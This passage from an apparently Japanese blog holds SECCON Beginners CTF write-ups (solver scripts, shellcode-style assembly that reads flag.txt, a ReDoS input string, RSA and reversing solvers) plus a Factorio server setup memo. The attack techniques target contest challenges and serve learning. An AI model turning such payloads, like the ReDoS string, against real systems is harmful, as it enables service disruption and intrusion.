  if (isNaN(score)) {
    return {
      rank: -1,
      message: "Invalid score",
    };
  }
  if (score > 10 ** 255) {
    // hmm...your score is too big?
    // you need a handicap!
    for (let i = 0; i < 100; i++) {
      score = Math.floor(score / 10);
    }
  }

  return ranking(score);
}

10進数で送れる 10 ** 255 以上の値を投げても 100回 10で割られる。isNaN のチェックは 16進数でもOKなので、16進数で最大投げられるものを送れば、フラグがきた

import httpx

url = 'https://getrank.beginners.seccon.games/'
data = {'input': '0x' + 'f' * 298}
print(data)

r = httpx.post(url, json=data)
print(r.text)
$ python3 solve.py
{'input': '0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'}
{"rank":1,"message":"ctf4b{15_my_5c0r3_700000_b1g?}"}

Flag: ctf4b{15_my_5c0r3_700000_b1g?}

clamre

アンチウィルスのシグネチャを読んだことはありますか?

※サーバにアクセスしなくても解けます

https://clamre.beginners.seccon.games

clamre.tar.gz 445052853290b4cf3cc39ff0a36dca0cc6747f1c

ClamAV のオリジナルシグネチャっぽい。シグネチャ正規表現で書いているっぽい

ClamoraFlag;Engine:81-255,Target:0;1;63746634;0/^((\x63\x74\x66)(4)(\x62)(\{B)(\x72)(\x33)\3(\x6b1)(\x6e\x67)(\x5f)\3(\x6c)\11\10(\x54\x68)\7\10(\x480)(\x75)(5)\7\10(\x52)\14\11\7(5)\})$/

最後の正規表現にマッチする文字列を作ればOK。フラグになるっぽい。 (abc) のようにカッコでまとめられているのは、グループとして扱われ、\3 や \7 で再利用できるらしい。全体が () で囲まれているので、中の正規表現は グループ2 から数えるのに注意。(\x63\x74\x66) がグループ2 になる。

Flag: ctf4b{Br34k1ng_4ll_Th3_H0u53_Rul35}

Rev

assemble

Webアプリで Intel記法のアセンブリを実行できるツール。Challenge 1~Challenge 4まで問題があって、Challenge 4 まで解くとフラグをもらえる。

問題のWeb画面

Challenge 1

Challenge 1. Please write 0x123 to RAX! RAX に 0x123 をMOV するだけ

Challenge 2

Challenge 2. Please write 0x123 to RAX and push it on stack! Challenge 1 にプラスして、Push RAX するだけ

Challenge 3

Challenge 3. Please use syscall to print Hello on stdout! rax に Hello を用意して push、Syscall で標準出力に Write する

mov rax, 0x6f6c6c6548 # Hello を逆に格納
push rax
mov rax, 0x1 # システムコール番号 1 (write)
mov rdi, 0x1 # ファイルディスクリプタ 1:標準出力
mov rsi, rsp # 文字列を格納しているバッファのアドレス
mov rdx, 5   # 出力する文字数
syscall

Challenge 4

Challenge 4. Please read flag.txt file and print it to stdout!

flag.txt を open して、read して、標準出力に write する

push 0x0 # null文字
mov rax, 0x7478742e67616c66 # flag.txt
push rax
mov rax, 0x2  # システムコール番号 2 (open) 
mov rdi, rsp  # ファイル名のバッファ
mov rsi, 0x0  # 読み取り専用(O_RDONLY)
syscall       # open

mov rbx, rax   # ファイルディスクリプタを一時格納
mov rax, 0     # システムコール番号 0 (read) 
mov rdi, rbx   # ファイルディスクリプタ
mov rsi, rsp   # 読み込みバッファ
mov rdx, 0x100 # 読み込む最大バイト数
syscall

mov rcx, rax  # 読み込んだバイト数を一時格納
mov rax, 1    # システムコール番号 1 (wite) 
mov rdi, 1    # 標準出力
mov rsi, rsp  # 出力するバッファ
mov rdx, rcx  # 出力するバイト数
syscall

Flag: ctf4b{gre4t_j0b_y0u_h4ve_m4stered_4ssemb1y_14ngu4ge}

cha-ll-enge

cha.ll.nge というテキストファイルが渡される。中身を確認すると LLVM-IR という LLVMの中間コードらしい。 リファレンスやらなんやらを見ながら処理を確認したら、入力文字列としてFlag文字列を入力して、以下の整数配列の要素と XOR して一致すればOKというものだった。

@__const.main.key = private unnamed_addr constant [50 x i32] [i32 119, i32 20, i32 96, i32 6, i32 50, i32 80, i32 43, i32 28, i32 117, i32 22, i32 125, i32 34, i32 21, i32 116, i32 23, i32 124, i32 35, i32 18, i32 35, i32 85, i32 56, i32 103, i32 14, i32 96, i32 20, i32 39, i32 85, i32 56, i32 93, i32 57, i32 8, i32 60, i32 72, i32 45, i32 114, i32 0, i32 101, i32 21, i32 103, i32 84, i32 39, i32 66, i32 44, i32 27, i32 122, i32 77, i32 36, i32 20, i32 122, i32 7], align 16

XOR の処理は、i 番目の入力文字と i 番目の配列要素を XOR して、i+1 番目の配列要素と一致すればOKという流れ。なので印字可能文字で総当たりしてフラグを入手した

ソルバー

k = [119, 20, 96, 6, 50, 80, 43, 28, 117, 22, 125, 34, 21, 116, 23, 124, 35, 18, 35, 85, 56, 103, 14, 96, 20, 39, 85
, 56, 93, 57, 8, 60, 72, 45, 114, 0, 101, 21, 103, 84, 39, 66, 44, 27, 122, 77, 36, 20, 122, 7]

flag = ''
i = 0
for i, _k in enumerate(k[:-1]):
    for x in range(0x20, 0x7f):
        tmp = x ^ _k
        if tmp == k[i+1]:
            flag += chr(x)

print(flag)

Flag: ctf4b{7ick_7ack_11vm_int3rmed14te_repr3sen7a7i0n}

factorio headlessサーバー 構築 覚え書き

factorio (https://factorio.com/) のマルチプレイ用サーバーを構築し直したときの覚え書きです。

サーバー準備@AWS EC2

インスタンス

メモリ1Gだと若干足りないようなので、2Gのt3a.smallで構築。t2.smallよりt3.smallt3a.smallの方が料金安いのね。

イメージはとりあえずUbuntu 20.04。apt update; apt upgrade; 忘れずに

セキュリティグループ設定

以下のインバウンドルールを追加したセキュリティグループで設定

IPバージョン タイプ プロトコル ポート範囲 メモ
IPv4 SSH TCP 22 サーバーメンテナンス用
IPv4 カスタムUDP UDP 34297 factorioサービスの待ち受けポート

factorio headlessのインストール

factorioの公式サイト (https://factorio.com/) のダウンロードページからLinuxのheadlessの圧縮ファイルをDL (下図1番左のリンク)

f:id:amaga38:20220218231609p:plain

バイナリのURLは https://factorio.com/get-download/1.1.53/headless/linux64 で固定みたいなので、EC2インスタンスWget

# mkdir /opt/factorio-k2
# cd /opt/factorio-k2
# wget -O factorio-1.1.53.tar.xz https://factorio.com/get-download/stable/headless/linux64

ファイルを展開

# tar -Jxvf factorio-1.1.53.tar.xz

サーバーのセッティングを用意。Diffだけ記録

$ diff /opt/factorio-k2/factorio/data/server-settings.example.json server-settings.json
2c2
<   "name": "Name of the game as it will appear in the game listing",
---
>   "name": "<削除>",
13,14c13,14
<     "public": true,
<     "lan": true
---
>     "public": false,
>     "lan": false
24c24
<   "game_password": "",
---
>   "game_password": "<削除>",
62c62
<   "autosave_only_on_server": true,
---
>   "autosave_only_on_server": false,
65c65
<   "non_blocking_saving": false,
---
>   "non_blocking_saving": true,

手元のWindowsからセーブファイルをEC2インスタンスにアップロード。/opt/factorio-k2/savesに格納。 (%AppData%\Factorio\saves にある該当のファイルをTeraTermのscpでアップロード)

EC2インスタンス起動時に自動起動するようにサービス登録

# /
# cat factorio-k2.service
[Unit]
Description=Factorio Service. https://factorio.com/
After=network-online.target

[Service]
ExecStart=/opt/factorio-k2/factorio/bin/x64/factorio --server-settings /opt/factorio-k2/server-settings.json --start-server /opt/factorio-k2/saves/save.zip
Restart=no
Type=simple

[Install]
WantedBy=multi-user.target

# cp factorio-k2.service /lib/systemd/system/
# ln -s /lib/systemd/system/factorio-k2.service /etc/systemd/system/multi-user.target.wants/factorio-k2.service
# systemctl enable factorio-k2

mod Krastrio-2 のインストール

Mod Portal(https://mods.factorio.com/) にアクセスして、Krastrio-2のModを入手。 Dependencies で青色に記載されているModに依存しているので、こちらも一緒に入手。今回入れたModは全部で3つ

DLしたZipファイルをまたscpでEC2インスタンスにアップロード。/opt/factorio-k2/factorio/mods/ディレクトリにZipファイルを格納

$ ls /opt/factorio-k2/factorio/mods/
Krastorio2Assets_1.1.0.zip Krastorio2_1.2.23.zip  flib_0.9.2.zip

今回はK2を1.1.5からアップデートしたけど、1.2.0からAssetを別に分けたみたいで、依存modとしてmodディレクトリに配置し忘れてた。そのせいでmodの読み込みが最初うまくいかなくて躓いた。エラーも特にでないんので、Modの依存はちゃんと確認。

動作確認

Windowsのクライアントから「マルチプレイ」→「アドレスに接続」でEC2インスタンスIPアドレスを入力、server-settings.jsongame_passwordに設定したパスワードを入力して接続できればOK。

Discord Bot

マルチプレイの仲間で好きな時にEC2インスタンスを起動、停止できるようにボットも作ってみた。こっちはAmazon Lightsailでほそぼそ運用テスト中

github.com

SECCON Beginners CTF 2021 write-up

2021/5/22 14:00 - 5/23 14:00 (JST) で開催されたSECCON Beginners CTFに参加したので解けた問題のwrite-upです。チームとしては、whitecatsとして参加して1689pt (85位)でした。Web問はチームメイトにお任せして、Pwnに頭を悩ませながら他の問題を解いてました。

https://score.beginners.azure.noc.seccon.jp/

Crypto

simple_RSA

Let's encrypt it with RSA! 問題のプログラム

from Crypto.Util.number import *
from flag import flag

flag = bytes_to_long(flag.encode("utf-8"))

p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 3

assert 2046 < n.bit_length()
assert 375 == flag.bit_length()

print("n =", n)
print("e =", e)
print("c =", pow(flag, e, n))

eが小さいので、「RSA e 小さい」でGoogle検索してでてきたブログ(ももいろテクノロジー:plain RSAに対する攻撃手法を実装してみる)を参考にソルバー作成。

import sys
import gmpy
from Crypto.Util.number import *
def root_e(c, e, n):
    bound = gmpy.root(n, e)[0]
    m = gmpy.root(c, e)[0]
    return m, bound
if __name__ == '__main__':
    n = 17686671842400393574730512034200128521336919569735972791676605056286778473230718426958508878942631584704817342304959293060507614074800553670579033399679041334863156902030934895197677543142202110781629494451453351396962137377411477899492555830982701449692561594175162623580987453151328408850116454058162370273736356068319648567105512452893736866939200297071602994288258295231751117991408160569998347640357251625243671483903597718500241970108698224998200840245865354411520826506950733058870602392209113565367230443261205476636664049066621093558272244061778795051583920491406620090704660526753969180791952189324046618283
    e = 3
    c = 213791751530017111508691084168363024686878057337971319880256924185393737150704342725042841488547315925971960389230453332319371876092968032513149023976287158698990251640298360876589330810813199260879441426084508864252450551111064068694725939412142626401778628362399359107132506177231354040057205570428678822068599327926328920350319336256613
    m, bound = root_e(c, e, n)
    print("%d (possible solution under %d)" % (m, bound))
    print(long_to_bytes(m))

Flag: ctf4b{0,1,10,11...It's_so_annoying.___I'm_done}

Logical_SEESAW

We have an innovative seesaw!

問題のプログラム

from Crypto.Util.number import *
from random import random, getrandbits
from flag import flag

flag = bytes_to_long(flag.encode("utf-8"))
length = flag.bit_length()
key = getrandbits(length)
while not length == key.bit_length():
    key = getrandbits(length)

flag = list(bin(flag)[2:])
key = list(bin(key)[2:])

cipher_L = []

for _ in range(16):
    cipher = flag[:]
    m = 0.5
    
    for i in range(length):
        n = random()
        if n > m:
            cipher[i] = str(eval(cipher[i] + "&" + key[i]))
            
    cipher_L.append("".join(cipher))


print("cipher =", cipher_L)

フラグと同じbit数の鍵が用意され、1/2の確率でフラグと&演算される。&演算なので、元々0のbitは変化しない。あとは、1のbitを調整すればOK。暗号化されたbit文字列を16個提供されるので、同じ個所のbitで1になっているものが多ければ、元々1だっただろうとあたりをつけるソルバーを作った。

from Crypto.Util.number import *
from output import cipher

#with open('output.txt', 'r') as f:
#    cipher = readline()

#   m 0 1
# --------
# k 0 0 0 0.5
#   1 0 1 
#   - 0 1 0.5

print(cipher)
length = len(cipher[0])

ans = b''
for i in range(length):
    cnt = 0
    for j in range(16):
        cnt += int(cipher[j][i])
    
    if cnt == 0:
        ans += b'0'
    else:
        if cnt / 16 > 0.3:
            ans += b'1'
        else:
            ans += b'0'
print(ans)
print(long_to_bytes(int(ans, 2)))

Flag: ctf4b{Sh3_54w_4_SEESAW,_5h3_54id_50}

Rev

only_read

バイナリ読めなきゃやばいなり〜

disasemmble すると、main関数で文字列を1文字1文字比較する処理がある。比較している値を順番につなげるだけ。

    11e4:       3c 63                   cmp    al,0x63
    11e6:       0f 85 da 00 00 00       jne    12c6 <main+0x13d>
    11ec:       0f b6 45 e1             movzx  eax,BYTE PTR [rbp-0x1f]
    11f0:       3c 74                   cmp    al,0x74
    11f2:       0f 85 ce 00 00 00       jne    12c6 <main+0x13d>
    11f8:       0f b6 45 e2             movzx  eax,BYTE PTR [rbp-0x1e]
    11fc:       3c 66                   cmp    al,0x66
    11fe:       0f 85 c2 00 00 00       jne    12c6 <main+0x13d>
    1204:       0f b6 45 e3             movzx  eax,BYTE PTR [rbp-0x1d]
    1208:       3c 34                   cmp    al,0x34
    120a:       0f 85 b6 00 00 00       jne    12c6 <main+0x13d>
    1210:       0f b6 45 e4             movzx  eax,BYTE PTR [rbp-0x1c]
    1214:       3c 62                   cmp    al,0x62
    1216:       0f 85 aa 00 00 00       jne    12c6 <main+0x13d>
    121c:       0f b6 45 e5             movzx  eax,BYTE PTR [rbp-0x1b]
    1220:       3c 7b                   cmp    al,0x7b
    1222:       0f 85 9e 00 00 00       jne    12c6 <main+0x13d>
    1228:       0f b6 45 e6             movzx  eax,BYTE PTR [rbp-0x1a]
    122c:       3c 63                   cmp    al,0x63
    122e:       0f 85 92 00 00 00       jne    12c6 <main+0x13d>
    1234:       0f b6 45 e7             movzx  eax,BYTE PTR [rbp-0x19]
    1238:       3c 30                   cmp    al,0x30
    123a:       0f 85 86 00 00 00       jne    12c6 <main+0x13d>
    1240:       0f b6 45 e8             movzx  eax,BYTE PTR [rbp-0x18]
    1244:       3c 6e                   cmp    al,0x6e
    1246:       75 7e                   jne    12c6 <main+0x13d>
    1248:       0f b6 45 e9             movzx  eax,BYTE PTR [rbp-0x17]
    124c:       3c 35                   cmp    al,0x35
    124e:       75 76                   jne    12c6 <main+0x13d>
    1250:       0f b6 45 ea             movzx  eax,BYTE PTR [rbp-0x16]
    1254:       3c 74                   cmp    al,0x74
    1256:       75 6e                   jne    12c6 <main+0x13d>
    1258:       0f b6 45 eb             movzx  eax,BYTE PTR [rbp-0x15]
    125c:       3c 34                   cmp    al,0x34
    125e:       75 66                   jne    12c6 <main+0x13d>
    1260:       0f b6 45 ec             movzx  eax,BYTE PTR [rbp-0x14]
    1264:       3c 6e                   cmp    al,0x6e
    1266:       75 5e                   jne    12c6 <main+0x13d>
    1268:       0f b6 45 ed             movzx  eax,BYTE PTR [rbp-0x13]
    126c:       3c 74                   cmp    al,0x74
    126e:       75 56                   jne    12c6 <main+0x13d>
    1270:       0f b6 45 ee             movzx  eax,BYTE PTR [rbp-0x12]
    1274:       3c 5f                   cmp    al,0x5f
    1276:       75 4e                   jne    12c6 <main+0x13d>
    1278:       0f b6 45 ef             movzx  eax,BYTE PTR [rbp-0x11]
    127c:       3c 66                   cmp    al,0x66
    127e:       75 46                   jne    12c6 <main+0x13d>
    1280:       0f b6 45 f0             movzx  eax,BYTE PTR [rbp-0x10]
    1284:       3c 30                   cmp    al,0x30
    1286:       75 3e                   jne    12c6 <main+0x13d>
    1288:       0f b6 45 f1             movzx  eax,BYTE PTR [rbp-0xf]
    128c:       3c 6c                   cmp    al,0x6c
    128e:       75 36                   jne    12c6 <main+0x13d>
    1290:       0f b6 45 f2             movzx  eax,BYTE PTR [rbp-0xe]
    1294:       3c 64                   cmp    al,0x64
    1296:       75 2e                   jne    12c6 <main+0x13d>
    1298:       0f b6 45 f3             movzx  eax,BYTE PTR [rbp-0xd]
    129c:       3c 31                   cmp    al,0x31
    129e:       75 26                   jne    12c6 <main+0x13d>
    12a0:       0f b6 45 f4             movzx  eax,BYTE PTR [rbp-0xc]
    12a4:       3c 6e                   cmp    al,0x6e
    12a6:       75 1e                   jne    12c6 <main+0x13d>
    12a8:       0f b6 45 f5             movzx  eax,BYTE PTR [rbp-0xb]
    12ac:       3c 67                   cmp    al,0x67
    12ae:       75 16                   jne    12c6 <main+0x13d>
    12b0:       0f b6 45 f6             movzx  eax,BYTE PTR [rbp-0xa]
    12b4:       3c 7d                   cmp    al,0x7d
>>> '\x63\x74\x66\x34\x62\x7b\x63\x30\x6e\x35\x74\x34\x6e\x74\x5f\x66\x30\x6c\x64\x31\x6e\x67\x7d'
'ctf4b{c0n5t4nt_f0ld1ng}'

Flag: ctf4b{c0n5t4nt_f0ld1ng}

children

これから10個の子プロセスを作るよ。 彼らの情報を正しく答えられたら、FLAGをあげるね。 ちなみに、子プロセスは追加の子プロセスを生む可能性があるから注意してね。

実行すると次々と生成される子プロセスのプロセスIDをきかれるので、逐一回答する。最後に作成した子プロセスの数を答える。

$ strace ./children
execve("./children", ["./children"], 0x7ffe90cbec50 /* 20 vars */) = 0
brk(NULL)                               = 0x55a0bf9bf000
arch_prctl(0x3001 /* ARCH_??? */, 0x7ffea6df9f00) = -1 EINVAL (Invalid argument)
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=31138, ...}) = 0
mmap(NULL, 31138, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f4de6381000
close(3)                                = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\360q\2\0\0\0\0\0"..., 832) = 832
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
pread64(3, "\4\0\0\0\20\0\0\0\5\0\0\0GNU\0\2\0\0\300\4\0\0\0\3\0\0\0\0\0\0\0", 32, 848) = 32
pread64(3, "\4\0\0\0\24\0\0\0\3\0\0\0GNU\0\t\233\222%\274\260\320\31\331\326\10\204\276X>\263"..., 68, 880) = 68
fstat(3, {st_mode=S_IFREG|0755, st_size=2029224, ...}) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f4de637f000
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
pread64(3, "\4\0\0\0\20\0\0\0\5\0\0\0GNU\0\2\0\0\300\4\0\0\0\3\0\0\0\0\0\0\0", 32, 848) = 32
pread64(3, "\4\0\0\0\24\0\0\0\3\0\0\0GNU\0\t\233\222%\274\260\320\31\331\326\10\204\276X>\263"..., 68, 880) = 68
mmap(NULL, 2036952, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f4de618d000
mprotect(0x7f4de61b2000, 1847296, PROT_NONE) = 0
mmap(0x7f4de61b2000, 1540096, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x25000) = 0x7f4de61b2000
mmap(0x7f4de632a000, 303104, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x19d000) = 0x7f4de632a000
mmap(0x7f4de6375000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1e7000) = 0x7f4de6375000
mmap(0x7f4de637b000, 13528, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f4de637b000
close(3)                                = 0
arch_prctl(ARCH_SET_FS, 0x7f4de6380540) = 0
mprotect(0x7f4de6375000, 12288, PROT_READ) = 0
mprotect(0x55a0be1ac000, 4096, PROT_READ) = 0
mprotect(0x7f4de63b6000, 4096, PROT_READ) = 0
munmap(0x7f4de6381000, 31138)           = 0
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x4), ...}) = 0
brk(NULL)                               = 0x55a0bf9bf000
brk(0x55a0bf9e0000)                     = 0x55a0bf9e0000
write(1, "I will generate 10 child process"..., 36I will generate 10 child processes.
) = 36
write(1, "They also might generate additio"..., 51They also might generate additional child process.
) = 51
write(1, "Please tell me each process id i"..., 58Please tell me each process id in order to identify them!
) = 58
write(1, "\n", 1
)                       = 1
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12696
write(1, "Please give me my child pid!\n", 29) = ? ERESTARTSYS (To be restarted if SA_RESTART is set)
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12696, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
write(1, "Please give me my child pid!\n", 29Please give me my child pid!
) = 29
fstat(0, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x4), ...}) = 0
read(0, 12696
"12696\n", 1024)                = 6
write(1, "ok\n", 3ok
)                     = 3
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12697
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = ? ERESTARTNOINTR (To be restarted)
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12697, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12698
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12698, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
write(1, "Please give me my child pid!\n", 29Please give me my child pid!
) = 29
read(0, 12698
"12698\n", 1024)                = 6
write(1, "ok\n", 3ok
)                     = 3
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12699
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = ? ERESTARTNOINTR (To be restarted)
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12699, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12700
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12700, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
write(1, "Please give me my child pid!\n", 29Please give me my child pid!
) = 29
read(0, 12700
"12700\n", 1024)                = 6
write(1, "ok\n", 3ok
)                     = 3
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12701
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12701, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
write(1, "Please give me my child pid!\n", 29Please give me my child pid!
) = 29
read(0, 12701
"12701\n", 1024)                = 6
write(1, "ok\n", 3ok
)                     = 3
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12702
write(1, "Please give me my child pid!\n", 29) = ? ERESTARTSYS (To be restarted if SA_RESTART is set)
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12702, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
write(1, "Please give me my child pid!\n", 29Please give me my child pid!
) = 29
read(0, 12702
"12702\n", 1024)                = 6
write(1, "ok\n", 3ok
)                     = 3
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12703
write(1, "Please give me my child pid!\n", 29) = ? ERESTARTSYS (To be restarted if SA_RESTART is set)
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12703, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
write(1, "Please give me my child pid!\n", 29Please give me my child pid!
) = 29
read(0, 12703
"12703\n", 1024)                = 6
write(1, "ok\n", 3ok
)                     = 3
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12704
write(1, "Please give me my child pid!\n", 29) = ? ERESTARTSYS (To be restarted if SA_RESTART is set)
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12704, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
write(1, "Please give me my child pid!\n", 29Please give me my child pid!
) = 29
read(0, 12704
"12704\n", 1024)                = 6
write(1, "ok\n", 3ok
)                     = 3
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12705
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12706
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12705, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12706, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
write(1, "Please give me my child pid!\n", 29Please give me my child pid!
) = 29
read(0, 12706
"12706\n", 1024)                = 6
write(1, "ok\n", 3ok
)                     = 3
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12707
write(1, "Please give me my child pid!\n", 29) = ? ERESTARTSYS (To be restarted if SA_RESTART is set)
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12707, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
write(1, "Please give me my child pid!\n", 29Please give me my child pid!
) = 29
read(0, 12707
"12707\n", 1024)                = 6
write(1, "ok\n", 3ok
)                     = 3
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12708
write(1, "Please give me my child pid!\n", 29) = ? ERESTARTSYS (To be restarted if SA_RESTART is set)
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12708, si_uid=1000, si_status=1, si_utime=0, si_stime=1} ---
write(1, "Please give me my child pid!\n", 29Please give me my child pid!
) = 29
read(0, 12708
"12708\n", 1024)                = 6
write(1, "ok\n", 3ok
)                     = 3
wait4(-1, NULL, 0, NULL)                = 12696
write(1, "How many children were born?\n", 29How many children were born?
) = 29
read(0, 13
"13\n", 1024)                   = 3
write(1, "ctf4b{p0werfu1_tr4sing_t0015_15_"..., 40ctf4b{p0werfu1_tr4sing_t0015_15_usefu1}       ) = 40
lseek(0, -1, SEEK_CUR)                  = -1 ESPIPE (Illegal seek)
exit_group(0)                           = ?
+++ exited with 0 +++

手始めにstraceで挙動を見ながら動かして回答してたら最後まで正解できたので、フラグゲット。

Flag: ctf4b{p0werfu1_tr4sing_t0015_15_usefu1}

please_not_trace_me

フラグを復号してくれるのは良いけど,表示してくれない!!

ptraceが2回呼ばれているけど、1回目はreturn -1、2回目はreturn 0してあげれば、チェック処理は終了する。gdbで実行して、ptraceにbreakpointを設定し、呼ばれたところでreturn -1とかしてあげればOK。フラグのdecrypt処理が進み、rc4で復号された文字をメモリ上から読んで終了。

Flag: ctf4b{d1d_y0u_d3crypt_rc4?}

Misc

Mail_Address_Validator

あなたのメールアドレスが正しいか調べます.

nc mail-address-validator.quals.beginners.seccon.jp 5100

#!/usr/bin/env ruby
require 'timeout'

$stdout.sync = true
$stdin.sync = true

pattern = /\A([\w+\-].?)+@[a-z\d\-]+(\.[a-z]+)*\.[a-z]+\z/i

begin
  Timeout.timeout(60) {
    Process.wait Process.fork {
      puts "I check your mail address."
      puts "please puts your mail address."
      input = gets.chomp
      begin
        Timeout.timeout(5) {
          if input =~ pattern
            puts "Valid mail address!"
          else
            puts "Invalid mail address!"
          end
        }
      rescue Timeout::Error
        exit(status=14)
      end
    }
    
    case Process.last_status.to_i >> 8
    when 0 then
      puts "bye."
    when 1 then
      puts "bye."
    when 14 then
      File.open("flag.txt", "r") do |f|
        puts f.read
      end
    else
      puts "What's happen?"
    end
  } 
rescue Timeout::Error
  puts "bye."
end

最近よく聞くReDoSやぁと思いながら、Google検索。参考になりそうなサイトを見つけて、確認用の文字列そのまま使わせてもらった。(yohgaki's blog: 正規表現でのメールアドレスチェックは見直すべき – ReDoS)

>>> a = "secconbeginner@host"+".abcde"*10
>>> a
'secconbeginner@host.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde'
>>> a + "."
'secconbeginner@host.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.'
$ nc mail-address-validator.quals.beginners.seccon.jp 5100
I check your mail address.
please puts your mail address.
secconbeginner@host.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.
ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}

Flag: ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}

Pwn

rewriter

任意のアドレスの値を書き換えたい時,ありますよね?

nc rewriter.quals.beginners.seccon.jp 4103

コード抜粋

void win() {
    execve("/bin/cat", (char*[3]){"/bin/cat", "flag.txt", NULL}, NULL);
}

int main() {
    unsigned long target = 0, value = 0;
    char buf[BUFF_SIZE] = {0};
    show_stack(buf);
    printf("Where would you like to rewrite it?\n> ");
    buf[read(STDIN_FILENO, buf, BUFF_SIZE-1)] = 0;
